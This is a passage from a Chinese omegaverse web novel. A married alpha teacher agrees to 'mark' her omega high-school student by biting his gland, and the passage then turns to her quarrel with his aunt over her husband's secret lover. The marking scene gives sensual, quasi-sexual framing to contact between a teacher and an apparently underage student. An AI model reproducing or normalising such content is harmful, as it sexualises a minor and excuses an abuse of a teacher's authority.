因为正常的人不会这样回答,他只需要回答“因为你是顾厌迟的妻子”或者“你已经嫁入顾家了,没必要再觊觎齐家”,而不是“因为你爱顾厌迟”。 大约是少年说这话的时候太严肃认真,不像是回答问题,更像是说出一个真理,那笃定的语气和神情让白琼这个当事人都愣住了。 半晌,她才找到自己的声音。 “……是你姑姑告诉你的?” 除了季青禾这个高中同学兼情敌之外,白琼想不到别人。 齐缜摇了摇头,又点了点头,“算是吧,当年她去参加了你们的婚礼,回来的时候喝醉了,我听到她说了些梦话。” “她说了什么?” “……也没什么,就是说你厉害,输给了你之类的。” 其实原话是“要不是顾老爷子白琼根本不可能得偿所愿,我不甘心论长相还是能力还有家世她哪一样比不过白琼?不……有一点,有一点自己的确不如她。” “我没有白琼那么爱顾厌迟,爱到没有尊严,没有自我。” 季青禾说后面那句话的时候神情透着嘲讽,还有在这场感情的失意中找到了优越感的傲慢。 齐缜也是在那个时候知道了白琼这号人。 “白老师我知道我这样做让你很为难,毕竟你那么喜欢你的丈夫,你肯定不愿意背着他做这种事情,而且要是被他知道了的话他肯定也会很生气,但是除了你我身边就没有什么可信的alpha,亲人之间又不能帮忙标记,时间不等人,我实在是没办法了,我……” 后面齐缜说了什么白琼已经没怎么在听了,她脑子里只听进去了一句—— “要是被他知道了的话他肯定会很生气。” 顾厌迟知道了真的会生气吗? 他又不喜欢她,可是万一呢…… 只要是个正常男人即使不喜欢自己的妻子,也不可能对这种事情无动于衷吧。 换作以往白琼是绝对不会动摇的,只是如今的她迫切的想要知道对方是不是真的已经不在意她,心里有没有可能或许有那么一点儿她的位置? 更是为了推翻沈霁那荒唐的言论。 “老师?白老师?” 齐缜忐忑地看着她,“你有在听我说话吗?” “齐家的人情虽说不至于无所不能,但解决大部分问题并不是难事,我可以向你保证这件事天知地知你知我知,我绝不会告诉别人,包括我的姑姑。所以我希望老师你能好好考虑一下,别那么早拒绝我,拜托了。” 齐缜是一个心气很高,甚至可以说有些傲慢的孩子,此刻他能把姿态放那么低来求她,可见是真的没招了。 白琼应该拒绝的,无论是出于老师这个身份,还是出于顾厌迟妻子这个身份。 可她的思绪如何也没办法从那魔怔了的想法中抽离出来,齐缜是个很敏锐的孩子,加上他从刚才开始就一直就在一瞬不移观察着白琼,不放过她脸上一丝一毫的情绪变化。 因此他几乎是在白琼流露出那么一点儿不明显的松动的迹象的瞬间,就捕捉到了。 有戏。 所以到底还是alpha啊,即使情感上再如何深爱自己的丈夫,alpha的本能却还是让她很难抗拒omega吧。 想到这里齐缜心下一动,不是很熟练的,小心翼翼的将信息素释放出了一点儿。 薄荷的清冽气息在夏日中显得格外清新和清凉,哪怕就那么微弱的一丝,存在感也强到让人无法忽略。 “白老师,我听他们说alpha和omega之间的信息素有着天然的吸引力,但吸引力受喜恶和契合度的影响也有强弱之分。好在迄今为止我的信息素还意外的挺受alpha欢迎的……” 他直勾勾注视着白琼的眼睛,属于少年人清亮干净的声线放低放柔了几分。 “那白老师呢,你是喜欢还是讨厌呢?” 第33章 就像alpha很难抵抗omega的信息素一样, 后者也离不开alpha。 尤其是处于热潮期的omega。 齐缜从一开始决定找白琼帮忙的时候只局限于学生和老师这层身份上,却忽略了抛去这层表面的社会关系之下,他们两人本质上也不过是一个alpha和一个omega而已。 不是他自夸, 在没有分化之前齐缜在异性之中本来就很受欢迎, 如今成了omega, 魅力更是翻了不止一倍。 喜欢他的更喜欢, 不喜欢他的只要是alpha就很难抗拒他的信息素, 逐渐对他产生好感和欲望。 齐缜一开始没用omega的身份而是以学生的身份找上白琼,是因为这种身份的转变带给他的只是困扰和麻烦, 他完全没有想过利用这一点。 他有些后知后觉,现在才想起或许自己可以用信息素来引诱白琼答应他。 薄荷的气息让白琼愣了一瞬, 但她并不是受到了对方信息素的影响,而是单纯愣住了。 她难以置信地看向齐缜, 一如之前在听到对方希望她帮他标记一样。 白琼没想到孤僻冷淡的齐缜会向她求助,更没想到他会对她使用信息素。 她惊讶的同时更多的是一种被冒犯到的羞恼。 “齐缜, 你知不知道自己在干什么?!就为了想让我答应帮你标记,你就不惜做到这份上?你是真天真还是觉得大庭广众之下我不敢对你做什么?!” 虽然都是才分化没多久,但白琼感受过omega的热潮期, 顾厌迟的信息素对她的影响不可谓不大, 她之所以能够保持意识的清明不是因为她的意志力有多强,只不过是她阴差阳错在他热潮期之前先一步标记了他。 即使是一个不完全的标记, 她的信息素已经注入进了他的腺体,她抢占了先机。 但凡她先进入的热潮期, 那就是另一个完全不同的结果了。 齐缜还没有被标记过,甚至连初次热潮期都还没有进入,他不知道自己这样引诱一个alpha是一件多么危险的事情。 齐缜见她神情只有恼怒没有一点被信息素影响下的意动,他松了口气, 又有些失望。 “白老师果然很爱你的丈夫啊。” 爱到竟然可以抵抗住alpha的本能。 齐缜冷不丁的一句话让白琼的怒火戛然而止,明明这听上去只是少年对她专一的感慨,没有掺杂一点恶意,但落在白琼耳朵里,尤其是在她落荒而逃躲在杨清容家里暂避风头的情况下,就显得格外讽刺了。 “……抱歉,是我太鲁莽了,希望你能忘记我说的话。” 本来齐缜来找白琼之前就没抱太多希望,此时那点儿侥幸也在看到她对自己的信息素无动于衷下荡然无存。 齐缜抿着嘴唇,朝着白琼鞠了个躬。 “打扰了。” “等一下!” 身体比脑子更快的做出了反应,白琼下意识叫住了对方。 齐缜脚步一顿,回头对上了女人的眼睛。 那双眼睛不像她表现得那么不为所动,她在犹豫,在纠结,更多的是在不甘的较劲儿。 以前别人无论是真感慨还是嘲讽她对顾厌迟一往情深,白琼都不会有什么太大的反应,因为这是事实,她要是真的在意周围人的眼光也不会死乞白赖追了顾厌迟那么多年。 可现在白琼在听到齐缜说她爱顾厌迟这种话的时候,心里却很排斥和火大。 真要形容的话大概是自己的一腔真心喂了狗。 是,她是动摇了,在听到苏芸的提醒后生出了想要一直标记他,让他永远离不开自己的念头,可是她并没有真的那么做了,只不过是想让他对自己的依赖再多那么一个月而已。 她想要让这场虚假的幸福延续得久一点所以标记了他,她顶多是贪心了些,毕竟她这么多年以为无望的执念有朝一日终于得偿所愿,即使不是真的,她也想要短暂地沉沦一下再脱离,这有错吗? 她只是想要得到这点程度的回应而已,这真的是什么很过分,且不容饶恕的事情吗? 而且不是他先主动的吗,不是他先引诱的她,对她释放出讯号和依赖的吗? 需要她的时候就哭着闹着不让她走,害怕她离开他视线半步,不需要她的时候就把她恶语相向,一脚踹开。 他们结婚这么多年了,他一根手指头都没碰过她,她说过什么吗,怨过什么吗? 他不喜欢自己,那她就努力让他喜欢自己,五年也好,更长的时间也罢,这段婚姻是她执意要来的,所以她早就做好了会一辈子无法打动他的心理准备。 可是唯独一点,她可以是他为了应付长辈的挡箭牌,也可以是他不想被联姻掣肘的选择,但绝不能是欺骗。 沈霁的话再一次在耳畔响起,怀疑的种子一旦生根就很难消除。 无论沈霁说的是真是假,顾厌迟把她用完就踢走的行为让白琼很是火大。 在远离了顾厌迟,没有信息素的影响后她的怒火后知后觉蔓延在了心头。 去他爹的守身如玉,去他爹的恪守女德!她要报复! 况且只是帮忙标记而已,这算哪门子报复!就算被他知道了也只是不痛不痒罢了! 可对白琼来说并不一样,这意味着她从满心满眼都是顾厌迟的恋爱脑有了那么一点自我。 人要和坚持多年的原则做抗争是一件很不容易的事情,白琼嗫嚅着嘴唇,好几次想要赌气答应,可话到了嘴边又如何也说不出口。 靠她一个人实在很难跨出那一步。 所以齐缜推了她一把。 他上前,伸手抓住了白琼的手,薄荷的气息覆了上去,似无形的藤蔓把她丝丝缕缕地缠绕。 齐缜目光灼灼注视着白琼,胸膛微微起伏,声音紧绷,透着无法控制的紧张。 “白琼……老师。” 他故意这样断句,手上的力道不自觉加重了一分,信息素也随之变浓。 “请你帮帮我,你会帮我的,对吗?” …… 白琼最终答应了他,那声“好”在看到少年露出心满意足的微笑的时候她才意识到自己说了什么。 她是在自己不坚定的内心和少年的信息素的影响下松口的,后者也知道这一点,在得到想要的答复后从口袋里拿出一张纸条塞给她后,生怕她反悔飞快地离开了。 白琼低头看了眼纸条,少年的字迹苍劲有力,上头写着一串地址,时间,以及他的联系方式。 他希望在这周五放学的时候她能来他指定的地方给他做标记,看来他的热潮期最迟会在周五之后来临。 白琼沉默地看了许久,在瞥见李柳进办公室的时候不动声色的将纸条撕碎扔在了垃圾桶里。 她不该答应的,一个老师怎么能答应学生那种事情,即使这只是为了帮他。 现在后悔也不晚,直接去教室把他叫出来,或者加上联系方式线上告诉他,但直到放学白琼也没那么做。 时间过得很快,周五眨眼就到了。 齐缜那一整天都魂不守舍的,视线一直有意无意往白琼身上暼。 一开始只是因为心里有事,怕出现变数所以才那么忐忑地下意识盯着白琼看,可看着看着他就没办法把目光从女人身上移开了。 白琼站在讲台上,本就高挑的身材在修身的白裙之下显得格外出挑,从衣袖间露出的两截手臂似牛乳一样白。 在日光下分不清是日光晃眼还是她的皮肤。 她的头发乌黑,眼眸乌润,平日里看怎么都寡淡如白开水的五官此刻像潺潺的流水,一下子变得灵动,生动。 齐缜呼吸不自觉放缓,放轻,生怕自己一不小心气息太重,会把这汪溪流搅乱。 他自以为自己的目光还算隐晦收敛,至少身边的同学没有一个发现他的异常。 可成为alpha的白琼最为敏感的除了信息素就是旁人的视线,她能感觉到齐缜落在自己身上的视线,从漫不经心地打量变得直白灼热。 在课堂上都敢这样明目张胆地看她,可见热潮期对他的影响之大。 白琼一开始想要无视的,但可能是少年以为没人发现他,所以后面越发得寸进尺起来。 一缕极其浅淡的信息素似磁铁一样不受控制地粘连在了她的手腕,她写板书的手一顿,粉笔“咔嚓”一声断成两截。 “啧。” 白琼烦躁的用舌头顶了顶发痒的牙齿,把手中剩下的半截粉笔精准砸到了齐缜头上。 齐缜回了神,对上女人不悦的眉眼便知道自己偷看对方被抓了现行,脸刷的一下红了。 “齐缜,上来做一下题。” 这是一道有些超纲的题目,过程倒还好,就是计算量庞大,稍一不小心就容易出错。 齐缜看了一下题干,没有去拿新的粉笔,而是弯腰将断在地上的另一截粉笔捡起来,上面还残留着女人手上的余温。 他指尖似被烫到了动了下。 “好好算,错了一会儿就别走了。” 白琼这么说是在告诉他,要是错了她一会儿不会去他指定的地方帮他标记,这是她给自己所谓的原则最后一次机会。 一次冠冕堂皇的机会。 但落在齐缜的耳朵里却变成了另一层意思。 错了就不走了?什么意思? 是要……在学校做吗? 然后白琼眼睁睁看着少年脸上的绯红以肉眼可见的速度红到了脖子根。 ? 第34章 这道题对于江峤而言可能是地狱级难度, 对于齐缜这样的学霸来说就另当别论了。 最后的结果自然是正确。 白琼盯着黑板上的答案,这是意料之中的情况,她也不知道自己在拿这种小概率事件在赌什么。 或许她的内心的那道防线其实也没有她想的那么坚不可摧, 是她自己一直执着着顾厌迟, 所以一遍一遍给自己竖起高墙。 当墙那边出现裂缝的时候, 那些所谓的不能逾越的界限, 在她这里已经形同虚设了。 是顾厌迟先推开自己的, 是他先不要自己的,是他将自己捧起的一颗真心摔在地上肆意践踏的。 白琼的情绪翻涌在眼底, 长长的睫羽下晦暗不明。 齐缜捏着粉笔,离得这么近女人身上压抑的气息他感知得一清二楚。 来自alpha天然的压迫感让他一时之间大气都不敢出, 好在这样的气氛并没有持续多久,女人收敛了自己外溢的情绪, 在他的答案后面轻轻打了一个勾。 下课铃声也是在这时候响起。 学生们陆陆续续离开了教室,只有齐缜借着帮忙擦黑板的由头留在了最后。 他漫不经心擦着黑板, 注意力全然集中在了白琼那里。 白琼前脚刚收拾好东西,齐缜后脚就跟了过去。 她把东西放到办公室,齐缜倒没有跟着进来, 只是站在门外时不时往里面暼。 李柳看见了皱了皱眉, 压低声音问道:“这小子又惹什么事了?” 白琼垂眸道:“没什么,可能是有事想要单独和我说吧。” “这样啊, 希望别又是什么和江峤打架斗殴的事情,以前也就算了, 男孩子嘛教训几句,现在他们分化成了omega,脆弱得很,稍微情绪起伏大了点信息素就乱了, 不过真犯事了,咱们当老师的睁一只眼闭一只眼也不好……唉,难啊,当老师难,当omega的老师更难,还是alpha好,皮糙肉厚,抗造。” 李柳之所以发出这样的感慨是他们班有个男生在课间疯耍打闹的时候不小心从楼梯上滚下来,摔断了腿,这种程度不在医院躺个十天半个月都下不了床的,结果他前脚刚摔后脚就进入了分化,分化成了一个alpha。 这导致他的体质一下子飙升了好几个等级,原本伤筋动骨至少要个一百天才能好全的伤势不到几天就能活蹦乱跳了。 她说这话的时候语气有些难以掩饰的羡慕,白琼瞥了一眼她的脖颈,那里光滑一片,随即心下了然。 看来李柳是未进化者,也就是数量最多的beta。 白琼没有就着alpha和omega的问题谈论太多,收拾好东西后简单打了声招呼便离开了。 齐缜一路上都跟条小尾巴似的坠在她后面一声不吭,直到到了校门口才忍不住开口问道:“白老师,你答应我的事情……还算数吗?” 白琼看着眼前忐忑不安的少年,“你除了我还有别的备选方案吗?” 这是在婉拒吗,还是在试探他的诚意? 齐缜拿不准白琼的想法,斟酌道:“有是有,但我说了,除了你我不放心任何alpha。尽管有的alpha我家里人做了背调,但信息素这种东西和人品好坏没有直接关系,人品再好也有可能被影响。” 他没有为了讨好她给出否定的答复,而是实话实说。 这样的坦诚反而让白琼很难再板着脸说出什么刻薄的话来了。 “……走吧。” 齐缜眼睛一下子亮了起来,“你是答应了的意思吗?太感谢你了白老师。你有开车吗?你要是没开车的话坐我的车吧,我让司机直接把我们送过去。” 白琼被他这样一副迫不及待的样子给逗笑了,“看来你真的很急。” 齐缜白皙的脸上肉眼可见染上薄红,以往清冷孤僻,生人勿近的模样荡然无存。 或许他本身就不是什么冷漠的性子,只是针对人罢了。 白琼上班一般坐的是地铁,来不及了就打个车,倒不是家里没车没司机,只是她不想引起过多的关注。 于是她跟着齐缜上了车,司机目不斜视的一路往前开,车子行驶进了一处高档小区,最终在三单元楼下停下。 “这是我家里为了我方便上学给我买的房子,除了周末我平时基本上都住在这里,离学校很近,而且交通什么也很方便。” 齐缜给白琼简单介绍了下。 少年也不知道白琼会不会来,但还是提前给她准备了鞋子,他把鞋子拿出来轻放到她的面前,然后有些局促地说道:“你先进屋坐坐,我去给你倒杯水切点水果。” “不用了。” 白琼将包随手挂在了门边的衣帽架上,琼花的气息霎那间溢了出来。 “我不是来你家做客的,别浪费时间。” 齐缜之前隐约感知过女人的信息素,只是因为对方收敛得很好,他并没有感受到太多的属于alpha的侵略性,这也让他对白琼的定位更多在平日里那个温和好说话的老师上,而不是一个alpha。 此刻女人没有再压制信息素,齐缜浑身僵硬没法动弹,整个人似被大型猛兽咬住了脖颈一般,汗毛都竖起来了。 他这才意识到了自己的天真和愚蠢。 哪怕是白琼她也是个alpha,他竟然就这样毫无防备,一点安全措施都没做把人堂而皇之地放了进来。 “现在知道害怕了?” 白琼走到他面前,阴影从他头顶覆下,让他大气都不敢出。 她看着他这如临大敌的模样,收敛了下信息素,但并不多,少年只是稍微能动了,那可怖的压迫感依旧如山倾覆。 “你要是后悔还来得及,我可以转身就走,今天的事情我不会向外透露半个字。” “不……” 他咬着牙,艰难道:“我不后悔。” 似为了证明,齐缜拉开了校服拉链,将脖颈露了出来。 “白老师,麻烦你帮我标记吧。” 薄荷的气息努力克服着本能的恐惧朝着她探了过来,少年额头和鼻尖沁了一层薄汗,下颌紧绷着垂着眸子不敢多看白琼一眼。 白琼沉默了一瞬,用手背轻轻碰触了下他的脖颈。 他身子陡然颤了下,信息素也不可避免溢出更多。 正如齐缜所说的那样,他的信息素的确很好闻,恐怕很少有alpha会不喜欢。 比起苦艾的苦涩,薄荷的香气清冽又清新,最重要的一点是——年轻。 看着眼前面容清俊的少年,白琼有那么瞬间觉得自己似乎也回到了学生时代,变成了和他一样的年纪。 这个念头冒出来的刹那,白琼心下说不出的兴奋。 像热锅里溅了一滴水进去,一下子就沸腾了。 她磨了磨发痒的牙根,注视着少年的皮肤肉眼可见变得通红,直到他的信息素急不可待地渴求着她的安抚,下一秒似乎就要濒临崩溃。 白琼掐着他的后脑勺,把他有些粗暴地摁在了墙上。 在脸贴在冰冷的墙面的瞬间,疼痛也随之来袭。 白琼咬上了他的腺体,属于alpha的信息素霸道强势地渡了进来,齐缜疼得叫了出来,下意识想要挣扎。 她早料到了他会是这个反应,之前她标记顾厌迟的时候男人也是如此。 他们需要她,又畏惧她,何其矛盾。 她没有任何怜香惜玉的念头,这些天的烦躁和愤懑的情绪让她急需一个发泄口,而好巧不巧齐缜在这个撞在了枪口上。 “白老师,白……唔!” 起初齐缜还有力气叫她,试图让她嘴下留情,可到了后面别说说话了,他连动弹的力气都没有了。 在信息素的冲刷下,齐缜觉得自己就像是一条被巨浪拍在沙滩上的鱼,不仅浑身疼得要命,还缺氧到没法呼吸。 他的眼尾被逼得发红,睫毛被泪水弄得湿漉漉的,加上又被白琼给死死摁在墙上,那样子看上去实在可怜极了。 说是标记便只是标记,白琼除了将信息素往他腺体里怼之外什么安抚,什么碰触都没有,正是如此这场标记才那么难捱和难受。 标记持续了十分钟,如果可以白琼在一分钟就能结束,只是齐缜没办法一下子承受那么多信息素,因此她才不得不放慢速度。 在白琼松口的瞬间,少年整个人像没骨头似的贴着墙面滑了 下来。 他大口大口喘着气,衣服都被汗水浸透了,腰腹处的线条清晰可见。 白琼在那抹肉色上扫了一眼,飞速移开。 她去给齐缜接了一杯水放在一旁的茶几上,从衣帽架上取下包,简单整理了下衣服,沉声叮嘱道:“标记途中很容易脱水,你一会儿缓过来后把水喝了,之后你要是还有什么不舒服的地方就不用找了,直接去医院吧,毕竟标记以外的事情我也无能为力。” 齐缜见她要走下意识想要唤她,可声音在对方推门后戛然而止,神情肉眼可见的惊恐。 白琼也在看到门外不知何时出现的季青禾后一顿,两人四目相对,从房间里溢出的信息素的气息浓烈到让人想要忽略都难。 季青禾没想到会在这里,这时候看见白琼,比信息素更为强烈的冲击让她脑子宕机了半晌。 最终还是白琼先一步开口打破了这死寂。 “……你后面的那个人是你找来帮齐缜标记的吗?” 齐缜一愣,这时候才注意到季青禾后面还站着一个人。 在意识到发生了什么后季青禾脸色一阵青一阵白。 她深吸了一口气,皮笑肉不笑道:“白琼,我还真是小看你了。”—— 作者有话说:大家节日快乐么么哒 第35章 不光是齐缜自己担忧热潮期的事情, 季青禾这段时间也在帮他物色合适的,值得信任的alpha。 她找了一圈也没找到,所幸矮个子里拔高个, 挑了个人品长相勉强能入眼的, 带着她一块儿过来了。 然而没想到好巧不巧会撞上这么一幕。 其实这也不是季青禾完全没有预料到的情况, 毕竟如今成为omega的齐缜在alpha的眼中就是一块香饽饽, 谁都想要来咬上一口。 只是她想到了齐缜或许会被身边的alpha同学近水楼台, 又或者被所谓的朋友捷足先登,却没想到这里面还有白琼这个老师的事。 季青禾怀疑过任何人可能会对齐缜下手, 这其中唯独没有白琼。 不仅因为白琼是齐缜的老师,更因为她对顾厌迟是那么一心一意的死脑筋, 即使顾厌迟分化成了alpha,beta, 她相信以白琼对他的执着她也绝不会因此离开他。 更何况顾厌迟分化成为的正是和她最为相配的omega。 有那么一瞬间季青禾以为自己也处于热潮期,脑子烧糊涂出现了幻觉, 可空气里强烈的和她排斥的属于alpha的信息素又让她难以将眼前发生的一切定义为幻觉。 季青禾的脸色很难看,那张美丽优雅的面容头一次出现了类似于扭曲的神情。 白琼说不出是尴尬多一点还是郁闷多一点,女人堵在门口, 一时之间她很难全身而退, 加上这样一直杵在门口也很奇怪,于是她干脆侧身道:“有什么事情进来再说吧。” 季青禾简直要气笑了, 这种游刃有余的像主人家的口吻,不知道的还以为她才是外人呢。 “……姑姑。” 里面的少年强撑着靠着墙站了起来, 声音虚弱,身体更虚弱。 他匀了匀呼吸,低着头有些不敢看季青禾,解释道:“是我拜托白老师帮我标记的, 她没有趁人之危,你不要误会。” 齐缜此时说话无疑是主动往她枪口上撞,季青禾的火气很难再压制,咬牙切齿道:“怎么?你以为自己这样一人做事一人当很有担当吗?需要我表扬你吗,真棒,靠自己一个人找到了alpha解决了热潮期?” 女人语气里的嘲讽让齐缜脸涨得通红,私下里女人训斥他也就算了,此时白琼还在,他恨不得找个地缝钻进去。 “姑姑,白老师她和其他alpha不一样,她是真心想要帮助我,而不是像那些alpha那样。刚才标记的时候她什么也没做,标记完了就准备走的,真的……” 他以为季青禾在意的是自己有没有被欺负,殊不知他越解释女人的脸越黑。 一个alpha在标记时候什么安抚都不做,这跟做/爱没有前戏,强行进入有什么区别! 甚至做完就走?简直拔吊无情! 被这么随意对待不生气,反而还替白琼说话,季青禾能心平气和就有鬼了。 可要是白琼真的什么都做了,季青禾也不会多高兴就是了。 事已至此,在继续纠结标记什么的也无济于事。 季青禾压下心头的情绪,对一旁明明很难受却还是强撑着的少年道:“你先回房间休息,我有事要和你的白老师说。” 她把白老师这三个字咬得有些重,白琼装作没听出来,见少年没有动作,反而看向自己,眼神里是征询和担忧。 齐缜并不是一个对老师多言听计从的学生,他给的也只是表面的尊重,骨子里并不是什么顺从的性子。 更何况此刻他姑姑还在,可他第一反应却是看她的态度,看来他已经在不知不觉中受到了标记的影响。 “听你姑姑的话先回房间吧。” 齐缜得了白琼的允许,这才一步三回头地离开了。 等到卧室门被关上,紧闭的门扉隔开了齐缜和她们,原本还刻意收敛的气息陡然再次变得剑拔弩张起来。 当然,只是季青禾单方面的。 女人的信息素毫无防备地释放出来,月季的馥郁中带着让人窒息的寒意,有那么瞬间白琼还以为自己置身于说不是夏日,而是数九隆冬之中。 “你就没什么想要和我解释的吗?” 季青禾的声音比信息素更冷地响起。 白琼沉默了一瞬:“解释什么?该解释的刚才齐缜不是都解释了吗?事实和他所说的一样,我没什么要补充的。” 她又顿了下,在女人杀人一般的眼神下说道:“真要补充的话只有一点,我对他只做了临时标记,不是完全标记,标记之后我会和他保持距离,不过我更建议你直接让他请假,虽然这么说可能有点自恋,但我的信息素在alpha中还算挺强的,我怕即使标记不彻底他也可能对我产生依恋。” “……你想说的就这些?” 白琼面无表情反问:“不然呢?” 季青禾一忍再忍,最终还是没忍住上前一把拽住了她的衣领,咬牙切齿道:“白琼,你到底是真糊涂还是装糊涂?你明知道我想问的不是这个!是顾厌迟!你不是最喜欢最爱他了吗,你为什么要做这种事,你就不怕我把这件事告诉他……” “那你告诉他吧。” 白琼直接打断了她的话,那双漆黑的眼瞳里淬冰一样骇人。 “不,你最好现在就告诉他,我也很想知道他究竟是生气多一点还是高兴多一点。” 季青禾一愣,没想到白琼做了这种事情被抓包了竟然一点都不慌张,甚至还让她说出去。 虚张声势?还是破罐子破摔? 好像都不是。 季青禾不算了解白琼,但她知道白琼是什么样的人,她很纯粹,尤其是在感情上,友情也好,爱情也罢,哪怕对方做了什么伤害她的事情,她也很难真的以牙还牙对对方怎么样,她就是这样一个人,不会像其他人那样有所顾虑,付出了就不会保留,捧出的是完完整整的一颗真心。 这也是当初季青禾释然对顾厌迟的感情的原因。 的确,论长相,身世,能力,白琼是样样不如她,可这些在什么时候都很重要,唯独在感情上这都不重要。 重要的是真心。 这是身为无时无刻需要权衡利益的季家继 承人所不可能毫无保留给予的。 可现在白琼却做出了和她真心截然相悖的事情,一时之间季青禾不知道到底她是在替顾厌迟不平,还是自身难以接受她变成了和她一样的人。 “你在胡说什么?你做了这样的事情他怎么可能会高兴?” 季青禾试图理解,却很难理解,眼前的女人像是突然之间变了一个人似的。 明明还是那张脸,那原本柔和无害的眉眼已经不再,冷漠的没有一丝温度。 白琼看到她这副难以置信的表情觉得很可笑,她也的确笑了。 “你为什么是这副表情?抓到了我的把柄你不应该愤怒,你应该开心啊,你不是一直都很喜欢顾厌迟吗,要是我是你,我不会浪费时间在这里和我掰扯这些有的没的,我会直接去找顾厌迟,把我标记了齐缜的时候告诉他,以他眼睛里容不得沙子的性子他一定会和我离婚,就算不离婚我们两也不可能再有重归于好的可能了。” “而你,季青禾,恭喜你,你可以趁虚而入把他抢回去了。” “哈?看来我上次和你说的话你全当耳旁风了是吧?到现在了你竟然还把我当成你的假想敌?!” 季青禾不知道她和顾厌迟之间究竟发生了什么,是顾厌迟做了什么让她彻底心灰意冷还是她真的没有抵抗住omega的信息素一时昏了头,这些和她无关,她只是觉得很可笑,更可悲。 “白琼,你真是没救了。” 她原本想说的不是这些,她想要警告白琼离齐缜远一点,警告她不要把这件事说出去,不然她会把今天发生的一切一五一十告诉顾厌迟。 她是打算这样威胁白琼的。 可话到了嘴边,季青禾对上了女人毫无波澜的眼眸,她意识到了一件事,顾厌迟或许已经不是她的软肋了。 所以多说无益,她也不想要和这样的白琼多费口舌。 白琼的视线一直都没有从季青禾的脸上移开,把她所有的神情变化都尽收眼底。 在季青禾准备松开攥住她衣领的手的时候,白琼猛地扣住了她的手腕,力道之大,疼得季青禾倒吸了一口冷气。 “你干什么,发什么疯?松手!” “告诉我,你上次说的那句话是什么意思?” 季青禾没反应过来,“什么?” 白琼:“就是你说的我的情敌另有其人是什么意思?” “哈?” 季青禾给气笑了,“你反射弧够长的,我以为你当时没有立刻追上来是不相信或是不在意,结果你现在才反应过来是吗?” “所以呢,你问我我就要告诉你吗?在你标记了我侄子之后?” 白琼毫不犹豫道:“对不起,下次即使你侄子再走投无路,死乞白赖求着我给他标记我也不会动恻隐之心答应他了。好了,我现在已经道歉了,还帮你侄子解决了难搞的热潮期,作为报答你可以告诉我那个人是谁了吗?” “你!” 季青禾被白琼的无耻给惊到了,她上下仔细打量了下眼前的女人,不确定道:“你真的是我认识的那个白琼吗?我可没听说过分化后还可能觉醒第二人格的事情。” “季青禾,我没有时间和你废话,也没有逼迫你的想法,你只需要给我一个明确的态度——回答还是不回答。” 白琼强势的样子让季青禾很不爽,可对方的信息素紧绷得像一把拉到满盈而蓄势待发的弓箭。 这是一个很危险的讯号,信息素的不稳定不仅意味着失控,也会影响到标记对象。 季青禾倒是对白琼会不会突然发疯不甚在意,可自家侄子才刚被她标记完,腺体里充斥着她的信息素,一旦发生什么意外必然首当其冲受到波及。 “……其实这件事我也不是很清楚。” “不清楚?你是说你不清楚那个人是谁,还是不清楚那个我所谓的情敌真实存在?” 季青禾没有立刻回答,而是留意了下女人的神情,依旧面无表情,看不出喜怒,平静下充斥着山雨欲来的可怖。 她果然是知道了什么。 是那个人恬不知耻舞到她面前,对她贴脸开大了吗?还是她自己发现了什么蛛丝马迹所以才想要找她证实? 季青禾虽然已经放下了对顾厌迟的感情,但换位思考一下,也知道这对于白琼这样深爱着顾厌迟的人来说是有多么难以接受,她现在没有崩溃也离崩溃不远了。 她不想刺激她,可更不想让她继续蒙在鼓里。 “那个人是真实存在的,只是我不知道他是谁。” 她斟酌了下语句,“你知道的,我也在A大,你和顾厌迟那时候还没有订婚确定关系,我也就没有避嫌,经常关注他的动向,也会时不时找机会去找他。然后我不可避免听到了一些谣言,说他有喜欢的人之类的。” “虽然他们说的有鼻子有眼的,但我并没有相信,毕竟他的绯闻女友隔三差五就会冒出来几个,想要和他沾上关系的人太多,这不稀奇。可是大二上学期的时候,联谊人数不够,我被朋友拉去凑数,当时联谊的地点是A大附近的一个酒吧,中途我被一个男生缠着没办法找了个借口去了趟卫生间……” 她从回忆中抽离了出来,把注意力分给了白琼一分。 白琼抓着她手腕的手收紧,沉声道:“继续。” “……我看见了顾厌迟。” 时间已经过了很久了,季青禾依旧清楚记得当时的情形。 “他衣衫不整的从一个包厢里出来了,脖子上有抓痕,他跑出来的时候门没关严,我透着门缝往里面看了眼,看到了里面有个长头发的女人,不过只是背影,我没看到脸。” 季青禾说到这里没有再继续说下去了,却也什么都说清楚了。 别人听后或许会觉得是顾厌迟被下药做了局,但要真是如此,他第一反应不会是离开,以他的性子要是被人暗算了,绝对会百倍千倍地奉还。 可他只是离开了,说明对方没有对他做什么,反而他可能才是过错方。 所以说沈霁没有胡诌,顾厌迟的确有喜欢的人。 白琼扣着季青禾手腕的手慢慢松开,手似折断的树枝无力地垂下。 琼花的气息在一瞬间翻涌,又在霎那里平息。 极端的情绪波动比突然的失控更加让人在意,同为alpha,季青禾在本其排斥的本能下又生出了几分警惕。 她的神经紧绷着,时刻提防着白琼的突然发难。 白琼似没有注意到女人态度的变化,乌黑的长发从肩头滑落,把她大半张脸都隐没在了阴影之中。 一时之间空气极致的安静,只能听到墙上挂着的时钟指针走动的声音。 嘀嗒,嘀嗒。 季青禾以为她是乍然得知这个噩耗有些承受不住打击,缓了下声线,别扭的出声安慰:“那个你也别太伤心了,他本来就不喜欢你,虽然这么说不大好,但你应该庆幸这一点,不然他要是喜欢你的同时又和别的人牵扯不清,那才是背叛,不忠。可他不喜欢你,是你一厢情愿要和他在一起的,只要他没和那个女人搞出私生子来,你就睁一只眼闭一只眼好了,反正只要他不提离婚,你无论如何也不会放手的不是吗?” 她原本是想安慰她的,说到后面火气窜了上来,语气不由得变得恶声恶气。 “啧,所以说啊,你这种恋爱脑就是活该,非要吊死在这么一个渣男身上。我当时在发现他和别的女人在一起后我就立刻封心锁爱了。后来在知道你要和他订婚后我是不是也来找过你,你还记得吗?你倒好一看到我过来以为我要和你抢男人,我还没说话你先宣示主权起来,说什么让我最好歇了对他的心思,我好端端的暗恋被你搞得人尽皆知,让我没少明里暗里被嘲讽,当成茶余饭后的谈资!艹,白琼,你死不死啊!” 白琼:“……” 这件事的确是她做的不妥,可没办法,当时周围人在得知她和顾厌迟订婚的消息后都在私底下议论说什么她根本配不上顾厌迟,倒是季青禾和他郎才女貌,天生一对。 她本身在顾厌迟面前就有些自卑,有这么一个优秀的情敌在更是让她患得患失,因此在看到季青禾突然找上来的时候一个应激不顾场合,当众放了些狠话虚张声势,不曾想给季青禾造成了这么大的困扰。 “……抱歉。” 季青禾冷笑了声,“别介,我可担不起你的这声道歉。况且你也没警告错,毕竟我的确眼瞎对你丈夫动过心。” 她揉了揉被白琼抓得有些酸疼的手腕,没好气道:“所以你是发现了你丈夫心有所属,才答应齐缜给他标记,想以牙还牙报复回去?” 